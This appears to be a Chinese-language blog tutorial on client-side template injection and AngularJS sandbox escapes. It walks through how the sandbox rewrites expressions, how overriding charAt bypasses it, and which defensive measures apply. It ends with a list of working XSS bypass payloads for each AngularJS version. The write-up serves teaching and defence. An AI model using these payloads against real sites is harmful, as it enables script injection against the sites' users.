• Client-Side Template Injection with AngularJS


    0x00 前言

    测试链接:

    https://liveoverflow.com/php/angularjs/angular1.5.8.php?q=%7B%7B1%2B2%7D%7D

    看了 XSS without HTML: Client-Side Template Injection with AngularJS 一文感觉不错,于是翻译了下,加了点东西,有时间的话把另外一篇 SSTI 的也翻译了。

    说起模版注入(Template Injection ),大家都会想起去年很火的 SSTI(Server-Side Template Injection),以 Python 中常用的模板引擎 Jinja2 为例,假如有个这样的 Flask 代码:

    1. @app.errorhandler(404)
    2. def page_not_found(e):
    3. template = '''{%% extends "layout.html" %%}
    4. {%% block body %%}
    5. <div class="center-content error">
    6. <h1>Oops! That page doesn't exist.</h1>
    7. <h3>%s</h3>
    8. </div>
    9. {%% endblock %%}
    10. ''' % (request.url)
    11. return render_template_string(template), 404

    开发者想要回显出用户输入的错误 URL,但他选择使用字符串格式化,来将 URL 动态地加入到模板字符串中,而不是通过 render_template_string 函数将 URL 传递进入模板内容当中。这会造成什么后果?我们在 URL 末尾加上 {{ 7+7 }} 试试:

    7+7.png

    可以看到模板引擎计算了数学表达式,应用程序在响应的时候将其解析成 14。如果我们把 {{ 7+7 }} 换成 {{ config.items() }} 呢?感兴趣的小伙伴可以试试。(详细内容可参考 Exploring SSTI in Flask/Jinja2)

    0x01 AngularJS

    通过前面的例子,大家应该已经知道不能将用户输入直接作为模版内容的一部分。那么在现代的前端框架中也有类似的模板或表达式,会不会也有这样的问题?

    同样以 AngularJS 为例:

    1. <html>
    2. <head>
    3. <meta charset="utf-8">
    4. <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
    5. </head>
    6. <body>
    7. <div ng-app>{{ 7+7 }}</div>
    8. </body>
    9. </html>

    angular14.png

    果然也出现了 14,如果改成 {{ alert(1) }} 试试呢?

    可惜什么也没发生,连源码里也没有。

    angularalert.png

    0x02 沙箱

    原来 AngularJS 1.6 以下版本都有一个安全沙箱,会对表达式进行检查、过滤、解析、重写。

    fnstring.png

    在第 13275 行下断点,跟踪 fnString,发现之前的 {{ 7+7 }} 被变换成了

    1. "use strict";
    2. var fn = function(s, l, a, i) {
    3. return plus(7, 7);
    4. };
    5. return fn;

    再把 {{ 7+7 }} 换成 {{constructor.constructor('alert(1)')()}},发现一些有趣的输出:

    1. "use strict";
    2. var fn = function(s, l, a, i) {
    3. var v0, v1, v2, v3, v4 = l && ('constructor' in l),
    4. v5;
    5. if (!(v4)) {
    6. if (s) {
    7. v3 = s.constructor;
    8. }
    9. } else {
    10. v3 = l.constructor;
    11. }
    12. ensureSafeObject(v3, text);
    13. if (v3 != null) {
    14. v2 = ensureSafeObject(v3.constructor, text);
    15. } else {
    16. v2 = undefined;
    17. }
    18. if (v2 != null) {
    19. ensureSafeFunction(v2, text);
    20. v5 = 'alertu00281u0029';
    21. ensureSafeObject(v3, text);
    22. v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alertu00281u0029', text)), text);
    23. } else {
    24. v1 = undefined;
    25. }
    26. if (v1 != null) {
    27. ensureSafeFunction(v1, text);
    28. v0 = ensureSafeObject(v1(), text);
    29. } else {
    30. v0 = undefined;
    31. }
    32. return v0;
    33. };
    34. return fn;

    可以看出 AngularJS 遍历了表达式的每个对象并用 ensureSafeObject 函数检查它。ensureSafeObject 函数检查对象是否是函数/对象引用、窗口对象、 DOM 元素,如果任何检查为真,它就会抛出异常并停止执行表达式。同时它还阻止了对全局变量的访问。

    AngularJS 还有一些安全检查函数比如 ensureSafeMemberName 和 ensureSafeFunction,ensureSafeMemberName 检查了属性名称确保没有 __proto__等,而 ensureSafeFunction 检查了是不是函数构造器或函数绑定等。

    0x03 试探

    因为 AngularJS 表达式不支持函数语句,所以无法直接覆盖原生的 JavaScript。不过有一个函数可能有用 —— String.fromCharCode,因为这个函数是从字符串构造函数(String constructor)而不是字符串调用的,即 this 的值是 String constructor。

    那我们怎么在不创建新函数的情况下利用 fromCharCode 呢?重用现有的函数就行了~ 现在的问题是怎么控制 fromCharCode 被调用时的值。

    如果我们使用数组连接函数,可以让字符串构造函数为伪数组,这样我们可以获得 length 属性和一个属性为 0 的伪数组索引。

    asonstructor.png

    这样 String.fromCharCode 被调用时我们就能得到想要的 <iframe onload=alert(/Backdoored/)> 字符串了,让我们试试看效果:

    1. <html>
    2. <head>
    3. <meta charset="utf-8">
    4. <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
    5. </head>
    6. <body>
    7. <div ng-app>
    8. {{
    9. 'a'.constructor.fromCharCode=[].join;
    10. 'a'.constructor[0]='u003ciframe onload=alert(/Backdoored/)u003e';
    11. }}
    12. </div>
    13. <script>
    14. onload=function(){
    15. document.write(String.fromCharCode(97));
    16. }
    17. </script>
    18. </body>
    19. </html>

    fromcharcodealert.png

    但可惜在 AngularJS 的代码里并没有找到可直接用于沙箱逃逸的 String.fromCharcode,所以需要寻找一个新的函数。

    随后发现了 charCodeAt,如果可以覆盖这个值,它就会被注入到字符串属性中,不会有任何过滤。然而有个问题:这次 this 的值是不可写(无法操作索引或长度)的字符串而不是字符串构造函数,所以不能用相同的方法来覆盖函数。

    后来想到用 [].concat,这个函数会把字符串和参数连接在一起返回。
    比如 'abc'.charCodeAt(0) 你也许会觉得是 97 (ASCII a),但覆盖掉 charCodeAt 后返回的却是 abc,0

    charatcode.png

    这有什么用呢?利用它就可以注入恶意的属性,绕过安全检查。

    安全检查的伪代码像这样:

    1. if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
    2. out(' ');
    3. out(key);
    4. out('="');
    5. out(encodeEntities(value));
    6. out('"');
    7. }

    Out 是过滤后的输出,key 是属性名称,而 value 是属性的值。encodeEntities 函数是这样的:

    1. function encodeEntities(value) {
    2. return value.
    3. replace(/&/g, '&').
    4. replace(SURROGATE_PAIR_REGEXP, function(value) {
    5. var hi = value.charCodeAt(0);
    6. var low = value.charCodeAt(1);
    7. return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
    8. }).
    9. replace(NON_ALPHANUMERIC_REGEXP, function(value) {
    10. return '&#' + value.charCodeAt(0) + ';';
    11. }).
    12. replace(/&lt;/g, '&lt;').
    13. replace(/&gt;/g, '&gt;');
    14. }

    return '&#' + value.charCodeAt(0) + ';' 是关键,很明显开发者认为 charCodeAt 函数返回的就是整数,但如果攻击者控制了它,沙箱就“千里之堤,毁于蚁穴”了。
    通过相似的原理,我们就可以逃逸沙箱。

    0x04 逃逸

    让我们试一下其他的自带函数,CharAt 感觉很有希望。

    1. {{
    2. 'a'.constructor.prototype.charAt=[].join;
    3. $eval('x=""')+''
    4. }}

    parseerror.png

    出现了解析错误,看看到底发生了什么:

    1. "use strict";
    2. var fn = function(s, l, a, i) {
    3. var v5, v6 = l && ('xu003du0022u0022' in l);
    4. if (!(v6)) {
    5. if (s) {
    6. v5 = s.x = "";
    7. }
    8. } else {
    9. v5 = l.x = "";
    10. }
    11. return v5;
    12. };
    13. fn.assign = function(s, v, l) {
    14. var v0, v1, v2, v3, v4 = l && ('xu003du0022u0022' in l);
    15. v3 = v4 ? l : s;
    16. if (!(v4)) {
    17. if (s) {
    18. v2 = s.x = "";
    19. }
    20. } else {
    21. v2 = l.x = "";
    22. }
    23. if (v3 != null) {
    24. v1 = v;
    25. ensureSafeObject(v3.x = "", text);
    26. v0 = v3.x = "" = v1;
    27. }
    28. return v0;
    29. };
    30. return fn;

    注意 v0 = v3.x = "" = v1,看起来有戏,如果我们把 Payload 换一下:

    1. {{
    2. 'a'.constructor.prototype.charAt=[].join;
    3. $eval('x=alert(1)')+''
    4. }}

    parsealert.png

    Bingo,可爱的 alert 终于出现了。

    1. "use strict";
    2. var fn = function(s, l, a, i) {
    3. var v5, v6 = l && ('xu003dalertu00281u0029' in l);
    4. if (!(v6)) {
    5. if (s) {
    6. v5 = s.x = alert(1);
    7. }
    8. } else {
    9. v5 = l.x = alert(1);
    10. }
    11. return v5;
    12. };
    13. fn.assign = function(s, v, l) {
    14. var v0, v1, v2, v3, v4 = l && ('xu003dalertu00281u0029' in l);
    15. v3 = v4 ? l : s;
    16. if (!(v4)) {
    17. if (s) {
    18. v2 = s.x = alert(1);
    19. }
    20. } else {
    21. v2 = l.x = alert(1);
    22. }
    23. if (v3 != null) {
    24. v1 = v;
    25. ensureSafeObject(v3.x = alert(1), text);
    26. v0 = v3.x = alert(1) = v1;
    27. }
    28. return v0;
    29. };
    30. return fn;

    可以看到 x=alert(1) 成功绕过了安全检查注入进了代码,我们成功逃逸了沙箱!

    为了更深入地观察 AngularJS 是如何解析代码的,我们可以在 14079 行处下断点,点击 Resume 跳过解析器初始化,然后一直 Step into,可以看到在 12699 行它会认为 x=alert(1) 是一个 identifier

    在这个过程中有 isIdent 和 isNumber 函数在检查:

    1. while (this.index < this.text.length) {
    2. var ch = this.text.charAt(this.index);
    3. if (!(this.isIdent(ch) || this.isNumber(ch))) {
    4. break;
    5. }
    6. this.index++;
    7. }
    8. isIdent= function(ch) {
    9. return ('a' <= ch && ch <= 'z' ||
    10. 'A' <= ch && ch <= 'Z' ||
    11. '_' === ch || ch === '$');
    12. }

    不过因为我们重写了 charAt,'x=alert(1)'.charAt(9) 实际上是 x9=9a9l9e9r9t9(919),而长字符串肯定大于任意一个单字符,所以每次都可以绕过判断:

    charat.png

    最后在第 13247 行创建复制函数时,identifier 被多次注入到函数字符串中,当这个构造函数被调用时,页面上就会被注入我们的 alert(1)。

    0x05 防御措施

    AngularJS 在 1.6 版本以后就移除了安全沙箱,因为它并不能根本上解决 XSS 问题。

    如果攻击者可以访问控制 AngularJS 模板或表达式,他们可以通过 XSS 攻击利用任意版本 AngularJS。

    有多种方法可以控制模板和表达式:

    • 在生成 AngularJS 模板时包含用户提供的内容。
    • 表达式时在调用下面的方法时包含用户提供的内容:

      • $watch(userContent, ...)
      • $watchGroup(userContent, ...)
      • $watchCollection(userContent, ...)
      • $eval(userContent)
      • $evalAsync(userContent)
      • $apply(userContent)
      • $applyAsync(userContent)
    • 表达式在解析时包含用户提供的内容:

      • $compile(userContent)
      • $parse(userContent)
      • $interpolate(userContent)
    • 表达式中使用管道时条件包含用户提供的内容:{{ value | orderBy : userContent }}

    所以设计应用程序时,用户不能更改客户端模板。

    • 不要混合客户端和服务器模板
    • 不要使用用户输入动态生成模板
    • 不要通过(或上面列出的任何其他表达式解析函数)运行用户输入
    • 考虑使用 CSP

    可以使用服务器端模板来动态生成 CSS,URL 等,但不能用于生成由 AngularJS 引导/编译的模板。

    如果必须在 AngularJS 模板中使用用户提供的内容,需要确保它在通过 ngNonBindable 指令明确指定了不编译的模板部分中。

    Bypass Payload

    下面是一些 AngularJS 绕过的 Payload:

    1.0.1 - 1.1.5

    1. {{constructor.constructor('alert(1)')()}}

    1.2.0 - 1.2.1

    1. {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

    1.2.2 - 1.2.5

    1. {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

    1.2.6 - 1.2.18

    1. {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

    1.2.19 - 1.2.23

    1. {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

    1.2.24 - 1.2.29

    1. {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='"+(y='if(!window\u002ex)alert(window\u002ex=1)')+eval(y)+"'");}}

    1.3.0

    1. {{!ready && (ready = true) && (
    2. !call
    3. ? $$watchers[0].get(toString.constructor.prototype)
    4. : (a = apply) &&
    5. (apply = constructor) &&
    6. (valueOf = call) &&
    7. (''+''.toString(
    8. 'F = Function.prototype;' +
    9. 'F.apply = F.a;' +
    10. 'delete F.a;' +
    11. 'delete F.valueOf;' +
    12. 'alert(1);'
    13. ))
    14. );}}

    1.3.1 - 1.3.2

    1. {{
    2. {}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    3. 'a'.constructor.prototype.charAt=''.valueOf;
    4. $eval('x=alert(1)//');
    5. }}

    1.3.3 - 1.3.18

    1. {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
    2. 'a'.constructor.prototype.charAt=[].join;
    3. $eval('x=alert(1)//'); }}

    1.3.19

    1. {{
    2. 'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;
    3. $eval('x=alert(1)//');
    4. }}

    1.3.20

    1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

    1.4.0 - 1.4.9

    1. {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

    1.5.0 - 1.5.8

    1. {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}    ---->没有测试成功
    2.  {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(42),a')}}');}}   此条在liveoverflow.com测试成功

    1.5.9 - 1.5.11

    1. {{
    2. c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
    3. c.$apply=$apply;c.$eval=b;op=$root.$$phase;
    4. $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
    5. C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
    6. B=C(b,c,b);$evalAsync("
    7. astNode=pop();astNode.type='UnaryExpression';
    8. astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
    9. astNode.argument={type:'Identifier',name:'foo'};
    10. ");
    11. m1=B($$asyncQueue.pop().expression,null,$root);
    12. m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
    13. $eval('a(b.c)');[].push.apply=a;
    14. }}

    0x06 参考

  • 相关阅读:
    Spring个人冲刺阶段总结
    开学测试代码
    《人月神话》读后感(三)
    《人月神话》读后感(二)
    《人月神话》读后感(一)
    记账本小程序7天开发记录(第七天)
    记账本小程序7天开发记录(第六天)
    记账本小程序7天开发记录(第五天)
    记账本小程序7天开发记录(第四天)
    记账本小程序7天开发记录(第三天)
  • 原文地址:https://www.cnblogs.com/blacksunny/p/7801386.html
Copyright © 2020-2023  润新知